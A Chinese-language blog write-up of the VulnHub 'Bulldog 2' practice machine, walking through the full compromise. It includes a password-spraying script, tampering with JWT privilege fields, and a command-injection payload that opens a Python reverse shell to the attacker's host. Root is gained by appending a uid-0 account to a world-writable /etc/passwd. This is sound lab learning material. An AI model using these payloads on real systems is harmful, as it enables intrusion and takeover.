[資訊安全] VulnHub – Bulldog 2 Write-up

Photo by Jamie Street on Unsplash

首先這大概是這幾個月來解題解到最心累的一題,雖說收穫不少,也更穩固對 Linux 環境下的基礎,在該題 Bulldog 2 的環境下僅有 80 Port 單純從單一網頁服務打穿到系統層,不經讓我想起 AIS3 2015 某堂課程講師所講的「必殺技!!單點突破,全面淪陷。」已經變成 Slogan 了。

目錄

環境設定

靶機下載: https://www.vulnhub.com/entry/bulldog-2,246/

由於經歷 Bulldog 1 的建立問題,關於 Bulldog 2 的佈署在 VMWate 下還是有一樣的問題,所以網路環境相同,在 VirtualBox 下使用 Bridged。

尋找靶機

開機之後直接顯示 IP 位置給你,就如下圖一樣。

Bulldog 2 IP Address.

隨後針對 VirtualBox 的網卡進行 nmap 掃描,使用指令 nmap 10.250.35.19 得到以下訊息,可見已經開啟的服務只有 80 Port。

Nmap scan report for 10.250.35.19
Host is up (0.0028s latency).
Not shown: 999 filtered ports
PORT   STATE SERVICE
80/tcp open  http

服務探勘

80 port

乍看之下是個 CMS 服務,但註冊功能被鎖住了,登入功能嘗試以 SQL Injection 攻擊與弱密碼,也毫無作用。

Bulldog 2 Home Page.

接著發現有個 Users 頁面,裡面包含該網站上的註冊用戶資料,其中包含 username 使用者的帳號。

隨後就以帳號即密碼的思維嘗試在 Users 頁面底下的 9 筆資料,想說資料數少,手動複製貼上,還是無功而返。

接著回過頭來看一下該頁面進入點的文字敘述「Join one of the fastest growing social networks with over 15,000 members!」,意思是說會員不只 9 員阿。

果不其然,追蹤了一下 Requests 紀錄,找到一筆請求 http://10.250.35.19/users/getUsers?limit=9,其中的 limit 就是控制資料返回的數量,直接留白就可以取回所有資料(在該處嘗試過 SQI Injection 攻擊無效)。

接著從 getUsers 得到 15760 比資料,如果要手動肯定會到天荒地老,所以決定寫個腳本來爆破,結果寫完、跑完,花了些許時間,還是沒動靜。

最後就想,這麼多組帳號密碼裡面,一定有人使用不安全的密碼吧,例如:123456 之類的,於是我就真的只寫針對密碼 123456 進行爆破的工具,如下。

#!/usr/bin/env python
# coding=utf-8

import requests
import json

url = "http://10.250.35.19/users/authenticate"
r = requests.session()

def login(name):
    json_data = {"username": name, "password": "123456"}
    r = requests.post(url, json=json_data)
    if r.status_code != 401:
        print("Meow!! {}".format(name))

with open("users.json") as f:
    json_data = json.load(f)
    for data in json_data:
        login(data['username'])

print("Done.")

然後得到用戶 pejerrine 所使用的密碼為 123456,並且可以登入成功。

原本以為可以取得編輯資料的權限,又或者是可以上傳大頭貼之類的功能,再藉機繞過掛馬之類的,結果又失去線索折騰了一陣子,明明已經登入了,也沒有 Cookie 之類的被設定,回頭看登入之後的頁面資訊發現有取得 JWT 的 Token 值,在猜想是不是要破解他?

果然透過線上工具解析該 JWT 可以直接得到明文,代表這是不安全的 Token 機制,正常來說應該是要加密的,畢竟是靶機,資訊如下。

{
 alg: "HS256",
 typ: "JWT"
}.
{
 payload: {
  name: "Jerrine Prince",
  email: "[email protected]",
  username: "pejerrine",
  auth_level: "standard_user",
  rand: 2
 },
 iat: 1580434501,
 exp: 1581039301
}.
[signature]

看到 auth_level 選項,好像權限管理也直接建立在 JWT Token 上了,嘗試將其修改成 admin_user 之類的,但現在又遇到另一個問題,畢竟不是使用 Cookie 儲存,經過 Google 大神之後,原來還有用 Storage 的紀錄登入方式…。

在瀏覽器下也可以直接編輯,不像編輯 Cookie 還需要額外安裝外掛,然後在此好像也不需要做 JWT Encode/Decode 的處理,就可以直接編輯明文,嘗試將 auth_level 的 standard_user 編輯成 admin_user 但頁面依然沒有變化。

持續嘗試了幾種 admin 變形之後,決定找找其他線索,果然在檔案 main.js 上發現一點點蛛絲馬跡。

重新編輯成 master_admin_user 後,是得到了一個 Admin 的選項。

這邊直覺性的測試 SQL Injection 毫無反應,接著仔細看上頭的提示「Please authenticate with the Link+ CLI Tool to use Link+」也沒什麼想法。

接著直覺,是不是這邊的 input 存在 Command Injection? 如果是的話…也太不科學,到底有誰會這樣寫程式? 秉持著什麼都有可能的腦洞模式進行嘗試,結果還真的拿到 Reverse Shell,弱點存在於 Password 欄位,實際我也不知道如何執行的…。

$(python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.250.35.8",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);')
Bulldog 2 Get Reverse Shell.

Get Root to Win

接著都是起手式了,拿到 Reverse Shell 第一步就是要拿真正的 Shell,使用指令 python -c "import pty;pty.spawn('/bin/bash')" 然後開始探勘主機內部。

然後這邊發生了一個意外,我不小心 cd 到 /etc 底下,然後下了 ls 指令發現 passwd 是綠色的…??

接著查看權限得到:

node@bulldog2:/etc$ ls -lhs /etc/passwd
ls -lhs /etc/passwd
4.0K -rwxrwxrwx 1 root root 1.7K Jul 15  2018 /etc/passwd

這時候我恍然大悟,終於知道拉霸 777 的意思了xDDDDDDDD

既然可以改那就直接生個帳戶進去唄,發現可以使用 vim,但並不是很完整的交互模式…,只能用 echo 寫入了。

echo "mksyi:iamhacker:0:0:root:/root:/bin/bash" >> /etc/passwd

但果然太天真了,平常都提倡密碼放資料庫時要加密了,怎麼會想到密碼欄位直接放明文密碼…,所以當然使用 su mksyi 怎麼登也登不進去。

參考「Python 產生 Linux 的 /etc/shadow 加密格式密碼教學」一文,得到以下用法

python -c "import random,string,crypt; randomsalt = ''.join(random.sample(string.ascii_letters,8)); print crypt.crypt('iamhacker', '\$1\$%s\$' % randomsalt)"
> $1$zcEQARps$bDxdIZZNlmvjhpbHbKF1V1

接著在重新對 /etc/passwd 新增資料,然後就重複了好幾次,使用者數量不斷攀升,還是無法透過 su {user} 成功登入、切換使用者,一開始還以為是產生 HASH 的過程出現問題,直到查看 /etc/passwd 之後才知曉 $ 被當成有意義的字元了,所以需要在每個 $ 號上加上跳脫字元 \

python -c "import random,string,crypt; randomsalt = ''.join(random.sample(string.ascii_letters,8)); print crypt.crypt('hahaha', '\$1\$%s\$' % randomsalt)"
>>> $1$DRWvShCz$029W0TJDJ2YKapahOzi9r0
echo "yeeee:\$1\$DRWvShCz\$029W0TJDJ2YKapahOzi9r0:0:0:root:/root:/bin/bash" >> /etc/passwd
su yeeee

然後就拿到 Root 了,到這邊就真的被折騰到心力交瘁,一波多折個概念阿…

然後對於產生 Hash 也可以藉由 openssl 來產生,參考「How To Generate a /etc/passwd password hash via the Command Line on Linux」一文。

僅需要短短的一行,雖然前面也是一行啦(硬擠的)。

openssl passwd -1 -salt yoursalt password

學習重點

  1. 除了 Cookie/Session 以外的紀錄登入方式「Storage」。
  2. 尋找系統上重要的可讀可寫檔案
  3. /etc/passwd 檔案規則
  4. Linux 預設密碼的加密方式
    1. Python 產生 Linux 的 /etc/shadow 加密格式密碼教學
    2. How To Generate a /etc/passwd password hash via the Command Line on Linux
  5. Linux 將 $ 視為有意義的字元(變數),需要將其處理才能透過 echo 寫入檔案。

MksYi

透過網路分享知識的學習者。

發佈留言

發佈留言必須填寫的電子郵件地址不會公開。 必填欄位標示為 *

這個網站採用 Akismet 服務減少垃圾留言。進一步了解 Akismet 如何處理網站訪客的留言資料